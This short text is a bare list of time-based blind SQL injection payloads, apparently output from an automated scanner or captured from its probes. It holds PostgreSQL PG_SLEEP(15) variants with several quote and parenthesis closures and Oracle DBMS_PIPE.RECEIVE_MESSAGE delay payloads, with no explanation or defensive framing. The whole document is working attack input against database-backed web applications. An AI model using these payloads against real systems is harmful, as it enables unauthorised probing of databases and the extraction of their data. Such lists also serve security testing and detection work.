555-1 OR 796=(SELECT 796 FROM PG_SLEEP(15))--

555-1) OR 229=(SELECT 229 FROM PG_SLEEP(15))--

555-1)) OR 793=(SELECT 793 FROM PG_SLEEP(15))--

555iYCvfAH6' OR 612=(SELECT 612 FROM PG_SLEEP(15))--

555ymeLWLlB') OR 820=(SELECT 820 FROM PG_SLEEP(15))--

555xVfUZBVD')) OR 234=(SELECT 234 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555